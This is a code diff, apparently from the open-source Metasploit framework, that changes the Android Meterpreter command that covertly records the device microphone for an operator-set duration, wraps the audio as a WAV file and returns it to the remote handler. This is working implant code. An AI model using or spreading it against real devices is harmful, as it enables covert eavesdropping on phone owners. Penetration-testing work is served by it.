1
1
2
2
package com .metasploit .meterpreter .android ;
3
3
4
+ import java .io .ByteArrayOutputStream ;
5
+ import java .io .DataOutputStream ;
6
+
4
7
import com .metasploit .meterpreter .Meterpreter ;
5
8
import com .metasploit .meterpreter .TLVPacket ;
6
9
import com .metasploit .meterpreter .command .Command ;
@@ -21,30 +24,52 @@ public class webcam_audio_record_android extends webcam_audio_record implements
21
24
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket .TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1 );
22
25
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket .TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2 );
23
26
24
- public byte [] getAudioRecorder (int duration ) {
25
- int bufferSize = AudioRecord .getMinBufferSize (AUDIO_SAMPLE_RATE , AUDIO_CHANNEL_CONFIG , AUDIO_CHANNEL_ENCODING );
26
- int fullBuffer = duration * AUDIO_SAMPLE_RATE ;
27
- if (fullBuffer < bufferSize ) {
28
- fullBuffer = bufferSize ;
29
- }
30
- AudioRecord recorder = new AudioRecord (AudioSource .MIC , AUDIO_SAMPLE_RATE , AUDIO_CHANNEL_CONFIG , AUDIO_CHANNEL_ENCODING , fullBuffer );
31
- byte [] buffer = new byte [fullBuffer ];
27
+ public int execute (Meterpreter meterpreter , TLVPacket request , TLVPacket response ) throws Exception {
28
+ ByteArrayOutputStream baos = new ByteArrayOutputStream ();
29
+ AudioRecord recorder = null ;
32
30
33
31
try {
32
+ int duration = request .getIntValue (TLV_TYPE_AUDIO_DURATION );
33
+ int bufferSize = AudioRecord .getMinBufferSize (AUDIO_SAMPLE_RATE , AUDIO_CHANNEL_CONFIG , AUDIO_CHANNEL_ENCODING );
34
+ int fullBuffer = duration * AUDIO_SAMPLE_RATE ;
35
+ if (fullBuffer < bufferSize ) {
36
+ fullBuffer = bufferSize ;
37
+ }
38
+
39
+ recorder = new AudioRecord (AudioSource .MIC , AUDIO_SAMPLE_RATE , AUDIO_CHANNEL_CONFIG , AUDIO_CHANNEL_ENCODING , fullBuffer );
40
+ DataOutputStream da = new DataOutputStream (baos );
41
+ byte [] buffer = new byte [fullBuffer ];
42
+
34
43
recorder .startRecording ();
35
44
recorder .read (buffer , 0 , buffer .length );
45
+
46
+ short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat .ENCODING_PCM_16BIT ) ? 16 : 8 ;
47
+ short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat .CHANNEL_CONFIGURATION_MONO ) ? 1 : 2 ;
48
+ da .writeBytes ("RIFF" );
49
+ da .writeInt (Integer .reverseBytes (36 +fullBuffer ));
50
+ da .writeBytes ("WAVE" );
51
+ da .writeBytes ("fmt " );
52
+ da .writeInt (Integer .reverseBytes (16 )); // Sub-chunk size, 16 for PCM
53
+ da .writeShort (Short .reverseBytes ((short ) 1 )); // AudioFormat, 1 for PCM
54
+ da .writeShort (Short .reverseBytes (nChannels ));// Number of channels, 1 for mono, 2 for stereo
55
+ da .writeInt (Integer .reverseBytes (AUDIO_SAMPLE_RATE )); // Sample rate
56
+ da .writeInt (Integer .reverseBytes (AUDIO_SAMPLE_RATE *bSamples *nChannels /8 )); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
57
+ da .writeShort (Short .reverseBytes ((short )(nChannels *bSamples /8 ))); // Block align, NumberOfChannels*BitsPerSample/8
58
+ da .writeShort (Short .reverseBytes (bSamples )); // Bits per sample
59
+ da .writeBytes ("data" );
60
+ da .writeInt (Integer .reverseBytes (fullBuffer ));
61
+ da .write (buffer );
62
+ da .flush ();
63
+
36
64
} catch (Throwable x ) {
37
65
Log .e (webcam_audio_record_android .class .getSimpleName (), "Error reading voice audio " , x );
38
66
} finally {
39
- recorder .stop ();
40
- recorder .release ();
67
+ if (recorder != null ) {
68
+ recorder .stop ();
69
+ recorder .release ();
70
+ }
41
71
}
42
- return buffer ;
43
- }
44
-
45
- public int execute (Meterpreter meterpreter , TLVPacket request , TLVPacket response ) throws Exception {
46
- int duration = request .getIntValue (TLV_TYPE_AUDIO_DURATION );
47
- response .add (TLV_TYPE_AUDIO_DATA , getAudioRecorder (duration ));
72
+ response .add (TLV_TYPE_AUDIO_DATA , baos .toByteArray ());
48
73
return ERROR_SUCCESS ;
49
74
}
50
75
}
0 commit comments